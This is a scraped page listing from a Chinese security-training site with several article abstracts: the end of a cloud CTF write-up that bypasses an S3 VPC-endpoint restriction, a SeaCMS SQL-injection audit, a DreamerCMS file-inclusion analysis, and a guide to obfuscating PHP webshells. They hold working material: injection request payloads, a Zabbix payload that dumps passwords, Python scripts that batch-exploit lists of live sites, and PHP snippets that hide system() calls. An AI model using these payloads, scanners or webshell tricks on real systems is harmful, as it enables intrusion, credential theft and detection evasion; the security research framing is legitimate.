\"{\\\"Version\\\":\\\"2012-10-17\\\",\\\"Statement\\\":[{\\\"Effect\\\":\\\"Deny\\\",\\\"Principal\\\":\\\"*\\\",\\\"Action\\\":\\\"s3:GetObject\\\",\\\"Resource\\\":\\\"arn:aws:s3:::challenge01-470f711\u002Fprivate\u002F*\\\",\\\"Condition\\\":{\\\"StringNotEquals\\\":{\\\"aws:SourceVpce\\\":\\\"vpce-0dfd8b6aa1642a057\\\"}}}]}\"\r\n}\r\n\r\n限制只有指定 VPC 端点(VPCe) 的请求才可以访问,否则即使有权限也会被拒绝\r\n\r\n怎么办呢\r\n\r\n聪明的 GPT 给出了答案\r\n\r\n也让我想起了 proxy\r\n\r\nroot@hcss-ecs-0d0e:~# curl \"https:\u002F\u002Fctf:88sPVWyC2P3p@challenge01.cloud-champions.com\u002Fproxy?url=http:\u002F\u002Fs3.amazon\r\naws.com\u002Fchallenge01-470f711\u002Fprivate\u002Fflag.txt\"\r\nHTTP error: 403 Forbiddenroot\r\n\r\n但是结果是还是被阻止了\r\n\r\n这里可能 proxy 不在 VPC,不过我们可以验证一下\r\n\r\n但是刚刚都读取成功了,大概率是在的\r\n\r\n没办法,只能寻找好朋友的帮助了\r\n\r\n首先需要了解一下 SigV4 签名,在 AWS 中访问私有资源(如 S3 对象)时,AWS 要求你的请求是已签名的\r\n\r\n参考https:\u002F\u002Fdocs.aws.amazon.com\u002Fzh_cn\u002FAmazonS3\u002Flatest\u002Fuserguide\u002FShareObjectPreSignedURL.html\r\n\r\n默认情况下,所有 Amazon S3 对象都是私有的,只有对象拥有者才具有访问它们的权限。但是,对象拥有者可以通过创建预签名 URL 与其他人共享对象。预签名 URL 使用安全凭证来授予下载对象的限时权限。可以在浏览器中输入此 URL,或者程序使用此 URL 来下载对象。预签名 URL 使用的凭证是生成该 URL 的 AWS 用户的凭证。\r\n\r\n我们需要使用预签名\r\n\r\nhttps:\u002F\u002Fdocs.aws.amazon.com\u002Fzh_cn\u002FAmazonS3\u002Flatest\u002Fuserguide\u002Fusing-presigned-url.html创建预签名 URL 时,必须提供您的安全凭证,然后指定以下内容:\r\n\r\n一个 Amazon S3 存储桶\r\n\r\n对象键(如果将在您的 Amazon S3 存储桶中下载此对象,则一旦上传,这就是要上传的文件名)\r\n\r\nHTTP 方法(GET 用于下载对象、PUT 用于上传、HEAD 用于读取对象元数据等)\r\n\r\n过期时间间隔\r\n\r\n按照这个我们直接运行命令生成如下的签名\r\n\r\nroot@hcss-ecs-0d0e:~# aws s3 presign s3:\u002F\u002Fchallenge01-470f711\u002Fprivate\u002Fflag.txt --profile challenge01 --expires-in 3600\r\nhttps:\u002F\u002Fchallenge01-470f711.s3.amazonaws.com\u002Fprivate\u002Fflag.txt?AWSAccessKeyId=ASIARK7LBOHXEXWELX36&Signature=WT7zPvNKLF6zr%2Fi4%2FGvqpJHoZzs%3D&x-amz-security-token=IQoJb3JpZ2luX2VjELb%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIC6AH%2B4pBi%2BUXSj7Xih2aQvR3LmiwIQ8TeL%2BO6Gv2iotAiEAi6CjgMDpky\n\r\n然后我们带着这个签名\r\n\r\n但是内容一直被截断,很烦,我直接 URL 全编码后再次去访问\r\n\r\nroot@hcss-ecs-0d0e:~# curl \"https:\u002F\u002Fctf:88sPVWyC2P3p@challenge01.cloud-champions.com\u002Fproxy?url=%68%74%74%70%73%3a%2f%2f%63%68%61%6c%6c%65%6e%67%65%30%31%2d%34%37%30%66%37%31%31%2e%73%33%2e%61%6d%61%7a%6f%6e%61%77%73%2e%63%6f%6d%2f%70%72%69%76%61%74%65%2f%66%6c%61%67%2e%74%78%74%3f%41%57%53%41%63%63%\nThe flag is: ********\r\n\r\n成功\r\n\r\n总结\r\n\r\n总的来说,真的是很有实战意义的一次挑战,感觉整个过程前因后果是非常连贯的\r\n\r\n获取桶名称-\u003E\r\n\r\n不能匿名访问-\u003E获取配置信息-\r\n\r\n元数据\r\n\r\n不能直接访问-走代理\r\n\r\nmapping 泄露 proxy\r\n\r\n元数据绕过 IMDSv2 安全机制\r\n\r\n获取用户信息,查看权限\r\n\r\n列取文件位置\r\n\r\nvpc 限制,来联想 proxy\r\n\r\n403,考虑预签名 URL 授予\r\n\r\n行云流水",pic:"https:\u002F\u002Fwww.yijinglab.com\u002Fguide-img\u002F417184a9-9bfe-41be-b74b-606afd783052\u002F12a051a0-34f7-4c73-800a-5cecc89eed09.png",openTime:"2025-07-24T14:00:24+08:00",viewsNum:1315},{id:"20250716083611",type:f,title:"浅谈代码审计+漏洞批量一把梭哈思路",abstract:"前言\r\n\r\n最近在学习 SRC 的挖掘,常规的 SRC 挖掘就是信息泄露,什么逻辑漏洞什么的,什么越权漏洞,但是说实话,挖掘起来不仅需要很多时间,而且还需要很多经验,当然其实还有一种挖掘的办法,就是利用刚出的 1day 去批量扫描,如果自己会代码审计的话,就再好不过了,下面给大家分享分享整个过程是怎么样的。\r\n\r\n工具介绍\r\n\r\n项目地址\r\n\r\nhttps:\u002F\u002Fgithub.com\u002FW01fh4cker\u002FSerein【懒人神器】一款图形化、批量采集 url、批量对采集的 url 进行各种 nday 检测的工具。可用于 src 挖掘、cnvd 挖掘、0day 利用、打造自己的武器库等场景。可以批量利用 Actively Exploited Atlassian Confluence 0Day CVE-2022-26134 和 DedeCMS v5.7.87 SQL 注入 CVE-2022-23337。\r\n\r\n具体使用方法下面会介绍\r\n\r\n漏洞样本\r\n\r\n本次选取的是一个前些天看到的 seacms 的一个 sql 注入,当时也是自己也审计了一波的\r\n\r\n这里给出审计的过程\r\n\r\n\u002Fjs\u002Fplayer\u002Fdmplayer\u002Fdmku\u002Findex.php 未授权 sql 注入\r\n\r\n这个相比于上一个来说是危害更大,因为不需要登录 admin 用户\r\n\r\n确实是 sleep 了,说明漏洞存在,我们看到代码\r\n\r\nif ($_GET['ac'] == \"edit\") {\r\n    $cid = $_POST['cid'] ?: showmessage(-1, null);\r\n    $data = $d-\u003E编辑弹幕($cid) ?:  succeedmsg(0, '完成');\r\n    exit;\r\n}\r\n\r\n我们跟进编辑弹幕方法\r\n\r\n一路来到\r\n\r\npublic static function 编辑_弹幕($cid)\r\n   {\r\n        try {\r\n            global $_config;\r\n            $text = $_POST['text'];\r\n            $color = $_POST['color'];\r\n            $conn = @new mysqli($_config['数据库']['地址'], $_config['数据库']['用户名'], $_config['数据库']['密码'], $_config['数据库']['名称'], $_config['数据库']['端口']);\r\n            \r\n            $sql = \"UPDATE sea_danmaku_list SET text='$text',color='$color' WHERE cid=$cid\";\r\n            $result = \"UPDATE sea_danmaku_report SET text='$text',color='$color' WHERE cid=$cid\";\r\n            $conn-\u003Equery($sql);\r\n            $conn-\u003Equery($result);\r\n       } catch (PDOException $e) {\r\n            showmessage(-1, '数据库错误:' . $e-\u003EgetMessage());\r\n       }\r\n   }\r\n\r\n这里我们可以看到查询又是使用的原生的 query 方法,所以并没有过滤\r\n\r\n所以导致 sql 注入\r\n\r\n还有我们看到当 ac=del,type=list 的时候\r\n\r\nelse if ($_GET['ac'] == \"del\") {\r\n        $id = $_GET['id'] ?: succeedmsg(-1, null);\r\n        $type = $_GET['type'] ?: succeedmsg(-1, null);\r\n        $data = $d-\u003E删除弹幕($id) ?: succeedmsg(0, []);\r\n        succeedmsg(23, true);\r\n\r\n进入删除弹幕($id)\r\n\r\npublic function 删除弹幕($id)\r\n   {\r\n        \u002F\u002Fsql::插入_弹幕($data);\r\n        sql::删除_弹幕数据($id);\r\n   }\r\n\r\n进入 sql::删除_弹幕数据($id);\r\n\r\npublic static function 删除_弹幕数据($id)\r\n   {\r\n        try {\r\n            global $_config;\r\n            $conn = @new mysqli($_config['数据库']['地址'], $_config['数据库']['用户名'], $_config['数据库']['密码'], $_config['数据库']['名称'], $_config['数据库']['端口']);\r\n            $conn-\u003Eset_charset('utf8');\r\n            if ($_GET['type'] == \"list\") {\r\n                $sql = \"DELETE FROM sea_danmaku_report WHERE cid={$id}\";\r\n                $result = \"DELETE FROM sea_danmaku_list WHERE cid={$id}\";\r\n                $conn-\u003Equery($sql);\r\n                $conn-\u003Equery($result);\r\n           } else if ($_GET['type'] == \"report\") {\r\n                $sql = \"DELETE FROM sea_danmaku_report WHERE cid={$id}\";\r\n                $conn-\u003Equery($sql);\r\n           }\r\n       } catch (PDOException $e) {\r\n            showmessage(-1, '数据库错误:' . $e-\u003EgetMessage());\r\n       }\r\n   }\r\n\r\n我们的 id 是可以控制的,type 也是可以控制的,而且没有任何的过滤,当 type=list 的时候,直接放进 query 函数进行查询\r\n\r\n漏洞验证\r\n\r\nPOC \r\n\r\nGET \u002Fjs\u002Fplayer\u002Fdmplayer\u002Fdmku\u002Findex.php?ac=del&id=(select(1)from(select(sleep(6)))x)&type=list HTTP\u002F1.1\r\nHost: seacms:8181\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F127.0.0.0 Safari\u002F537.36\r\nAccept: text\u002Fhtml,application\u002Fxhtml+xml,application\u002Fxml;q=0.9,image\u002Favif,image\u002Fwebp,image\u002Fapng,*\u002F*;q=0.8,application\u002Fsigned-exchange;v=b3;q=0.7\r\nReferer: http:\u002F\u002Fseacms:8181\u002Fjs\u002Fplayer\u002Fdmplayer\u002Fdmku\u002Findex.php?ac=del&id=(select(1)from(select(sleep(0)))x)&type=list\r\nAccept-Encoding: gzip, deflate, br\r\nAccept-Language: zh-CN,zh;q=0.9\r\nCookie: PHPSESSID=5dl35hp50uj606p52se8kg91a2; t00ls=e54285de394c4207cd521213cebab040; t00ls_s=YTozOntzOjQ6InVzZXIiO3M6MjY6InBocCB8IHBocD8gfCBwaHRtbCB8IHNodG1sIjtzOjM6ImFsbCI7aTowO3M6MzoiaHRhIjtpOjE7fQ%3D%3D; XDEBUG_SESSION=PHPSTORM\r\nConnection: keep-alive\r\n \r\n\r\n效果如图,可以发现确实延迟了 6 秒\r\n\r\n工具利用过程\r\n\r\n首先就是看工具的逻辑是如何添加漏洞的\r\n\r\n首先看主文件\r\n\r\n代码很长,说一下我们需要注意的点,首先就是配置,对于的 fofa 配置如下\r\n\r\n需要你进入工具的时候配置邮箱和 key\r\n\r\ndef fofa_saveit_first():\r\n    email = fofa_text1.get()\r\n    key = fofa_text2.get()\r\n    with open(\"fofa配置.conf\",\"a+\") as f:\r\n        f.write(f\"[data]\\nemail={email}\\nkey={key}\")\r\n        f.close()\r\n    showinfo(\"保存成功!\",\"请继续使用fofa搜索模块!下一次将自动读取,不再需要配置!\")\r\n    text3.insert(END,f\"【+】保存成功!请继续使用fofa搜索模块!下一次将会自动读取,不再需要配置!您的email是:{email};为保护您的隐私,api-key不会显示。\\n\")\r\n    text3.see(END)\r\n    fofa_info.destroy()\r\ndef fofa_saveit_twice():\r\n    global email_r,key_r\r\n    if not os.path.exists(\"fofa配置.conf\"):\r\n        fofa_saveit_first()\r\n    else:\r\n        email_r = getFofaConfig(\"data\", \"email\")\r\n        key_r = getFofaConfig(\"data\", \"key\")\r\ndef fofa_info():\r\n    global fofa_info,fofa_text1,fofa_text2,fofa_text3\r\n    fofa_info = tk.Tk()\r\n    fofa_info.title(\"fofa配置\")\r\n    fofa_info.geometry('230x100')\r\n    fofa_info.resizable(0, 0)\r\n    fofa_info.iconbitmap('logo.ico')\r\n    fofa_email = tk.StringVar(fofa_info,value=\"填注册fofa的email\")\r\n    fofa_text1 = ttk.Entry(fofa_info, bootstyle=\"success\", width=30, textvariable=fofa_email)\r\n    fofa_text1.grid(row=0, column=1, padx=5, pady=5)\r\n    fofa_key = tk.StringVar(fofa_info,value=\"填email对应的key\")\r\n    fofa_text2 = ttk.Entry(fofa_info, bootstyle=\"success\", width=30, textvariable=fofa_key)\r\n    fofa_text2.grid(row=1, column=1, padx=5, pady=5)\r\n    button1 = ttk.Button(fofa_info, text=\"点击保存\", command=fofa_saveit_twice, width=30, bootstyle=\"info\")\r\n    button1.grid(row=2, column=1, padx=5, pady=5)\r\n    fofa_info.mainloop()\r\n\r\n使用 fofa 的处理流程\r\n\r\n后续是通过 fofa 的 api 进行查询的,所以需要你的 api,只有 vip 才有这个功能\r\n\r\n然后下面是脚本调用逻辑\r\n\r\n因为一个漏洞是需要你自己写一个 python 脚本的\r\n\r\n然后加入你自己自定义的漏洞是在\r\n\r\n这个逻辑应该很好理解,比如我的就是\r\n\r\nbutton50 = ttk.Button(group3,text=\"seacms前台sql注入\",command=sql_injection_gui,width=45,bootstyle=\"primary\")\r\nbutton50.grid(row=15,column=2,columnspan=2,padx=5,pady=5)\r\n\r\n然后就是写对应的利用脚本了\r\n\r\n因为我们写的脚本是需要贴合工具的,所以先随便找一个脚本看看大概的架构是怎么样的\r\n\r\n工具自带了许许多多的利用脚本,我们看一下如何仿写\r\n\r\n比如 zabbix_sql.py\r\n\r\nimport requests\r\nimport tkinter as tk\r\nfrom tkinter import scrolledtext\r\nfrom concurrent.futures import ThreadPoolExecutor\r\nfrom ttkbootstrap.constants import *\r\n\"\"\"\r\nZabbix ‘popup.php’SQL注入漏洞\r\nhttp:\u002F\u002Fwww.cnnvd.org.cn\u002Fweb\u002Fxxk\u002FldxqById.tag?CNNVD=CNNVD-201112-017\r\nZabbix的popup.php中存在SQL注入漏洞。远程攻击者可借助only_hostid参数执行任意SQL命令。\r\n\"\"\"\r\ndef zabbix_sql_exp(url):\r\n    poc = r\"\"\"popup.php?dstfrm=form_scenario&dstfld1=application&srctbl=applications&srcfld1=name&only_hostid=1))%20union%20select%201,group_concat(surname,0x2f,passwd)%20from%20users%23\"\"\"\r\n    target_url = url + poc\r\n    status_str = ['Administrator', 'User']\r\n    try:\r\n        res = requests.get(url, Verify=False,timeout=3)\r\n        if res.status_code == 200:\r\n            target_url_payload = f\"{target_url}\"\r\n            res = requests.get(url=target_url_payload,Verify=False)\r\n            if res.status_code == 200:\r\n                for i in range(len(status_str)):\r\n                    if status_str[i] in res.text:\r\n                        zabbix_sql.insert(END,\"【*】存在漏洞的url:\" + url + \"\\n\")\r\n                        zabbix_sql.see(END)\r\n                        with open (\"存在Zabbix—SQL注入漏洞的url.txt\", 'a') as f:\r\n                            f.write(url + \"\\n\")\r\n            else:\r\n                target_url = url + '\u002Fzabbix\u002F' + poc\r\n                res = requests.get(url=target_url,verify=False)\r\n                for i in range(len(status_str)):\r\n                    if status_str[i] in res.text:\r\n                        zabbix_sql.insert(END, \"【*】存在漏洞的url:\" + url + \"\\n\")\r\n                        zabbix_sql.see(END)\r\n                        with open(\"存在Zabbix—SQL注入漏洞的url.txt\", 'a') as f:\r\n                            f.write(url + \"\\n\")\r\n        else:\r\n            zabbix_sql.insert(END, \"【×】不存在漏洞的url:\" + url + \"\\n\")\r\n            zabbix_sql.see(END)\r\n    except Exception as err:\r\n        zabbix_sql.insert(END, \"【×】目标请求失败,报错内容:\" + str(err) + \"\\n\")\r\n        zabbix_sql.see(END)\r\ndef get_zabbix_addr():\r\n    with open(\"url.txt\",\"r\") as f:\r\n        for address in f.readlines():\r\n            address = address.strip()\r\n            yield address\r\ndef zabbix_sql_gui():\r\n    zabbix_sql_poc = tk.Tk()\r\n    zabbix_sql_poc.geometry(\"910x450\")\r\n    zabbix_sql_poc.title(\"Zabbix—SQL注入 漏洞一把梭\")\r\n    zabbix_sql_poc.resizable(0, 0)\r\n    zabbix_sql_poc.iconbitmap('logo.ico')\r\n    global zabbix_sql\r\n    zabbix_sql = scrolledtext.ScrolledText(zabbix_sql_poc,width=123, height=25)\r\n    zabbix_sql.grid(row=0, column=0, padx=10, pady=10)\r\n    zabbix_sql.see(END)\r\n    addrs = get_zabbix_addr()\r\n    max_thread_num = 30\r\n    executor = ThreadPoolExecutor(max_workers=max_thread_num)\r\n    for addr in addrs:\r\n        future = executor.submit(zabbix_sql_exp, addr)\r\n    zabbix_sql_poc.mainloop()\r\n\r\n大概的架构就是访问地址,发送 paylaod,然后对应利用成功和失败的特征进行鉴定,然后就是最后的 gui 模块\r\n\r\n因此我们可以对应的写出一个脚本,我按照我的漏洞写出的脚本如下\r\n\r\nimport requests\r\nimport time\r\nimport tkinter as tk\r\nfrom tkinter import scrolledtext\r\nfrom concurrent.futures import ThreadPoolExecutor\r\nfrom ttkbootstrap.constants import *\r\n \r\n \r\n# 执行SQL注入检测的函数\r\ndef sql_injection_exp(url):\r\n    target = url + \"\u002Fjs\u002Fplayer\u002Fdmplayer\u002Fdmku\u002Findex.php?ac=edit\"\r\n    data = {\r\n        \"cid\": \"(select(1)from(select(sleep(6)))x)\",\r\n        \"text\": \"1\",\r\n        \"color\": \"1\"\r\n   }\r\n    headers = {\r\n        \"User-Agent\": \"Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F70.0.3538.77 Safari\u002F537.36\",\r\n        \"Content-Type\": \"application\u002Fx-www-form-urlencoded\"\r\n   }\r\n    start_time = time.time()\r\n \r\n    try:\r\n        response = requests.post(target, data=data, headers=headers, timeout=10)\r\n        elapsed_time = time.time() - start_time\r\n \r\n        if elapsed_time \u003E 5:\r\n            output_text.insert(END, f\"【*】找到SQL注入在 {target} (响应时间: {elapsed_time:.2f} 秒)\\n\")\r\n            output_text.see(END)\r\n            with open(\"找到sql注入的url.txt\", 'a') as f:\r\n                f.write(url + \"\\n\")\r\n        else:\r\n            output_text.insert(END, f\"【×】没有SQL注入在 {target} (响应时间: {elapsed_time:.2f} 秒)\\n\")\r\n            output_text.see(END)\r\n    except requests.exceptions.RequestException as err:\r\n        output_text.insert(END, f\"【×】目标请求失败:{target},错误内容:{err}\\n\")\r\n        output_text.see(END)\r\n \r\n \r\n# 获取URL地址的生成器\r\ndef get_urls():\r\n    with open('url.txt', 'r') as file:\r\n        for line in file.readlines():\r\n            yield line.strip()\r\n \r\n \r\n# GUI界面\r\ndef sql_injection_gui():\r\n    root = tk.Tk()\r\n    root.geometry(\"910x450\")\r\n    root.title(\"seacms前台sql注入\")\r\n    root.resizable(0, 0)\r\n \r\n    global output_text\r\n    output_text = scrolledtext.ScrolledText(root, width=123, height=25)\r\n    output_text.grid(row=0, column=0, padx=10, pady=10)\r\n \r\n    urls = get_urls()\r\n    max_threads = 30  # 并发线程数\r\n    executor = ThreadPoolExecutor(max_workers=max_threads)\r\n \r\n    for url in urls:\r\n        future = executor.submit(sql_injection_exp, url)\r\n \r\n    root.mainloop()\r\n \r\n \r\n\r\n然后添加好模块\r\n\r\n可以看见是添加成功了的\r\n\r\n实战演示\r\n\r\n首先就是搜集 url 了,配置好了之后只需要\r\n\r\n因为我没有 fofa 的会员,这里使用自己搜集的 url,放在一个文件里面的,如果有的话就不需要我这样操作了\r\n\r\n然后来到你需要利用的板块\r\n\r\n利用的效果\r\n\r\n然后我们可以随便找个网址验证一下\r\n\r\n进入网址效果如下,说明网址还在正常使用的\r\n\r\n然后测试漏洞\r\n\r\n可以看见漏洞是存在的\r\n\r\n然后就是查权重了\r\n\r\n这个可以一把梭哈的",pic:"https:\u002F\u002Fwww.yijinglab.com\u002Fguide-img\u002Fd9634e2f-3b66-42e7-8279-c0877cdd70e5\u002F91ccb4e8-7253-431a-bbed-ad384bd76b6f.png",openTime:"2025-07-16T08:36:41+08:00",viewsNum:1255},{id:"20250709085523",type:f,title:"精准定位文件包含漏洞:代码审计中的实战思维",abstract:"前言\r\n\r\n最近看到由有分析梦想 CMS 的,然后也去搭建了一个环境看了一看,发现了一个文件包含漏洞的点,很有意思,下面是详细的复现和分析,以后代码审计又多了一中挖掘文件包含漏洞的新思路。\r\n\r\n环境搭建\r\n\r\n下载https:\u002F\u002Fgitee.com\u002Fiteachyou\u002Fdreamer_cms\r\n\r\n然后各种配置都可以看到\r\n\r\nJDK:Jdk8IDE:Spring Tool Suite 4(STS)或 IntelliJ IDEA\r\n\r\nDB:Mysql 5.7,Windows配置安装Mysql5.7,请参考:\r\n\r\nhttps:\u002F\u002Fwww.iteachyou.cc\u002Farticle\u002Fa1db138b4a89402ab50f3499edeb30c2Redis:3.2+,Windows配置安装Redis教程,请参考:\r\n\r\nhttps:\u002F\u002Fwww.iteachyou.cc\u002Farticle\u002F4b0a638f65fa4fb1b9644cf461dba602修改一下配置文件中的 resource-path 和 mysql 的连接\r\n\r\n漏洞寻找过程\r\n\r\n进入后台后发现可以编辑模板文件\r\n\r\n然后这时候我们就需要注意常见的可以触发漏洞的点了\r\n\r\n首先就是 xss\r\n\r\n加入我们的 xss 代码\r\n\r\n然后访问首页\r\n\r\n成功 xss,当然我们真实使用的话可以利用我们的 xss 平台\r\n\r\n这里推荐与一个\r\n\r\nhttps:\u002F\u002Fxssaq.com\u002F点击配置代码后会有很多 payload,随便复制一个\r\n\r\n这里我们简单弹个 cookie\r\n\r\nxss 的话还是国外使用比较多\r\n\r\n当然这样并不能达到我们 getshell 的目的\r\n\r\n漏洞深入利用\r\n\r\n这里就不得不提到我们的一些标签了\r\n\r\n一般常见的我们可以尝试 include 标签\r\n\r\n这里我们先复现一下\r\n\r\n这个标签是 cms 的专属的标签\r\n\r\n然后我们根据目录关系创建一个文件尝试一下\r\n\r\n然后我们访问首页\r\n\r\n可以看到成功了\r\n\r\n调试分析\r\n\r\n我们调试分析一下,抓个包看看路由\r\n\r\n定位到代码\r\n\r\n@Log(operType = OperatorType.UPDATE, module = \"模板管理\", content = \"修改模板\")\r\n@PostMapping(\"save\")\r\n@RequiresPermissions(\"5n6ta53y\")\r\npublic String save(TemplateVo template) throws IOException, CmsException {\r\n String fileName = template.getPath() + File.separator + template.getFile();\r\n File templateFile = new File(fileName);\r\n \u002F**\r\n * 查询当前模版目录,判断是否为模版目录,如不是,则报错\r\n *\u002F\r\n Theme currentTheme = themeService.getCurrentTheme();\r\n String resourceDir = fileConfiguration.getResourceDir();\r\n String themePath = resourceDir + File.separator + \"templates\" + File.separator + currentTheme.getThemePath() + File.separator;\r\n themePath = themePath.replaceAll(\"\\\\*\", \"\u002F\");\r\n File themeDir = new File(themePath);\r\n \u002F\u002F 检查当前编辑文件是否有权限\r\n if(!templateFile.getCanonicalPath().startsWith(themeDir.getCanonicalPath())) {\r\n throw new TemplatePermissionDeniedException(StateCodeEnum.HTTP_FORBIDDEN.getCode(), StateCodeEnum.HTTP_FORBIDDEN.getDescription(), \"您没有操作权限!\");\r\n }\r\n if(!templateFile.exists()) {\r\n throw new TemplateNotFoundException(StateCodeEnum.HTTP_NOTFOUND.getCode(), StateCodeEnum.HTTP_NOTFOUND.getDescription(), \"模板文件不存在!\");\r\n }\r\n \r\n String filePath = template.getPath() + File.separator + template.getFile();\r\n filePath = filePath.replaceAll(\"\\\\*\", \"\u002F\");\r\n File file = new File(filePath);\r\n FileUtils.writeStringToFile(file, template.getContent(), \"UTF-8\");\r\n return \"redirect:\u002Fadmin\u002Ftemplates\u002FtoIndex\";\r\n}\r\n \r\n\r\n这里就是就简单的写一下模板,然后重点关注解析的部分\r\n\r\n这里有各种各样的标签\r\n\r\n看到我们的 Include 标签\r\n\r\n@Tag(beginTag=\"{dreamer-cms:include \u002F}\",endTag=\"{\u002Fdreamer-cms:include}\",regexp=\"(\\\\{dreamer-cms:include[ \\\\t]+.*\u002F\\\\})|(\\\\{dreamer-cms:include[ \\\\t]+.*\\\\}\\\\{\u002Fdreamer-cms:include\\\\})\", attributes={\r\n @Attribute(name = \"file\",regex = \"[ \\t]+file=[\\\"\\'].*?[\\\"\\']\"),\r\n})\r\n\r\n格式\r\n\r\n我们看一下解析过程\r\n\r\n首先是解析我们的模板\r\n\r\n识别我们的模板内容后开始解析各种标签,然后是我们的 include\r\n\r\npublic String parse(String html) {\r\n Tag annotations = IncludeTag.class.getAnnotation(Tag.class);\r\n Attribute[] attributes = annotations.attributes();\r\n List\u003CString\u003E all = RegexUtil.parseAll(html, annotations.regexp(), 0);\r\n if(StringUtil.isBlank(all)) {\r\n return html;\r\n }\r\n String newHtml = html;\r\n \r\n String resourceDir = fileConfiguration.getResourceDir() + \"templates\u002F\";\r\n Theme currentTheme = themeService.getCurrentTheme();\r\n String templatePath = currentTheme.getThemePath() + \"\u002F\";\r\n String basePath = resourceDir + templatePath;\r\n for (int i = 0; i \u003C all.size(); i++) {\r\n Map\u003CString,Object\u003E entity = new HashMap\u003CString,Object\u003E();\r\n String includeTag = all.get(i);\r\n for (Attribute attribute : attributes) {\r\n String condition = RegexUtil.parseFirst(includeTag, attribute.regex(), 0);\r\n if(StringUtil.isBlank(condition)) {\r\n continue;\r\n }\r\n String key = condition.split(\"=\")[0];\r\n String value = condition.split(\"=\")[1];\r\n key = key.trim();\r\n value = value.replace(\"\\\"\", \"\").replace(\"\\'\", \"\");\r\n entity.put(key, value);\r\n }\r\n \r\n if(entity.keySet() != null && entity.keySet().size() \u003E 0) {\r\n String path = basePath + entity.get(\"file\").toString();\r\n File includeFile = new File(path);\r\n String includeHtml;\r\n try {\r\n includeHtml = FileUtils.readFileToString(includeFile, \"UTF-8\");\r\n newHtml = newHtml.replaceFirst(annotations.regexp(), includeHtml);\r\n } catch (IOException e) {\r\n e.printStackTrace();\r\n }\r\n }\r\n }\r\n return newHtml;\r\n}\r\n\r\n可以目录穿越读取我们任意文件的内容",pic:"https:\u002F\u002Fwww.yijinglab.com\u002Fguide-img\u002Fd9634e2f-3b66-42e7-8279-c0877cdd70e5\u002F1b5f9f04-8a04-4cf0-a4f1-d4ce1e4a735e.png",openTime:"2025-07-09T08:55:33+08:00",viewsNum:1225},{id:"20250703170647",type:f,title:"浅谈 webshell 构造之如何获取恶意函数",abstract:"前言\r\n\r\n这篇文章主要是总结一下自己学习过的 “恶意函数” 篇章,重点是在如何获取恶意函数。\r\n\r\nget_defined_functions\r\n\r\n(PHP 4 \u003E= 4.0.4, PHP 5, PHP 7, PHP 8)\r\n\r\nget_defined_functions — 返回所有已定义函数的数组\r\n\r\n我们主要是可以通过这个获取危险的函数\r\n\r\n比如\r\n\r\n比如\r\n\r\n当然还有许多,如何执行命令就很简单了\r\n\r\n代码如下\r\n\r\n\u003C?php\r\n$a=(get_defined_functions());\r\n$a[\"internal\"][516](\"whoami\");\r\n?\u003E\r\n\r\nget_defined_constants\r\n\r\nget_defined_constants — 返回所有常量的关联数组,键是常量名,值是常量值\r\n\r\n 那获取的常量是不是可以为我们所用呢?\r\n\r\n可以看到是有 system 关键字的,我们就可以直接去获取它的 key,然后截取不就是 system 了吗\r\n\r\n代码如下\r\n\r\n\u003C?php\r\n \r\n$a=get_defined_constants();\r\nforeach ($a as $key =\u003E $value){\r\n    if (substr($key,0,7)==\"INI_SYS\"){\r\n        $x= strtolower(substr($key,4,6));\r\n        $x(\"whoami\");\r\n   }\r\n}\r\n?\u003E\r\n\r\n自定义方法\r\n\r\n通过自定义的方法,从毫无头绪的数字获取到 system 函数,拿出广为流传的例子\r\n\r\n\u003C?php\r\nfunction fun($a){\r\n    $s = ['a','t','s', 'y', 'm', 'e', '\u002F'];\r\n    $tmp = \"\";\r\n    while ($a\u003E10) {\r\n        $tmp .= $s[$a%10];\r\n        $a = $a\u002F10;\r\n   }\r\n    return $tmp.$s[$a];\r\n}\r\n \r\n\r\n现在还没有看出端倪,但是当你运行这串代码的时候\r\n\r\n\u003C?php\r\nfunction fun($a){\r\n    $s = ['a','t','s', 'y', 'm', 'e', '\u002F'];\r\n    $tmp = \"\";\r\n    while ($a\u003E10) {\r\n        $tmp .= $s[$a%10];\r\n        $a = $a\u002F10;\r\n   }\r\n    return $tmp.$s[$a];\r\n}\r\necho fun(451232);\r\n\r\n抛出异常截取字符串\r\n\r\n这个手法也是比较特殊的\r\n\r\n我们可以随便找一个异常类\r\n\r\n比如 ParseError,然后再加上我们刚刚的自定义方法\r\n\r\nParseError 当解析 PHP 代码时发生错误时抛出,比如当 https:\u002F\u002Fwww.php.net\u002Fmanual\u002Fzh\u002Ffunction.eval.php 被调用出错时。\r\n\r\n它的一些属性和方法\r\n\r\n\u002F* 继承的属性 *\u002F\r\nprotected string $message = \"\";\r\nprivate string $string = \"\";\r\nprotected int $code;\r\nprotected string $file = \"\";\r\nprotected int $line;\r\nprivate array $trace = [];\r\nprivate ?Throwable $previous = null;\r\n\u002F* 继承的方法 *\u002F\r\npublic Error::__construct(string $message = \"\", int $code = 0, ?Throwable $previous = null)\r\nfinal public Error::getMessage(): string\r\nfinal public Error::getPrevious(): ?Throwable\r\nfinal public Error::getCode(): int\r\nfinal public Error::getFile(): string\r\nfinal public Error::getLine(): int\r\nfinal public Error::getTrace(): array\r\nfinal public Error::getTraceAsString(): string\r\npublic Error::__toString(): string\r\nprivate Error::__clone(): void\r\n\r\n可以看到都是基础父类的\r\n\r\nException::__construct — 异常构造函数\r\nException::getMessage — 获取异常消息内容\r\nException::getPrevious — 返回前一个 Throwable\r\nException::getCode — 获取异常代码\r\nException::getFile — 创建异常时的程序文件名称\r\nException::getLine — 获取创建的异常所在文件中的行号\r\nException::getTrace — 获取异常追踪信息\r\nException::getTraceAsString — 获取字符串类型的异常追踪信息\r\nException::__toString — 将异常对象转换为字符串\r\nException::__clone — 异常克隆\r\n\r\n根据这些思路来了,我们如果能够获取报错内容,那不就是隐含的获取了恶意函数吗\r\n\r\n代码如下\r\n\r\n\u003C?php\r\nfunction fun($a){\r\n    $s = ['a','t','s', 'y', 'm', 'e', '\u002F'];\r\n    $tmp = \"\";\r\n    while ($a\u003E10) {\r\n        $tmp .= $s[$a%10];\r\n        $a = $a\u002F10;\r\n   }\r\n    return $tmp.$s[$a];\r\n}\r\n$a = new ParseError(fun(451232));\r\necho $a-\u003EgetMessage();\r\n\r\nDirectoryIterator \r\n\r\nThe 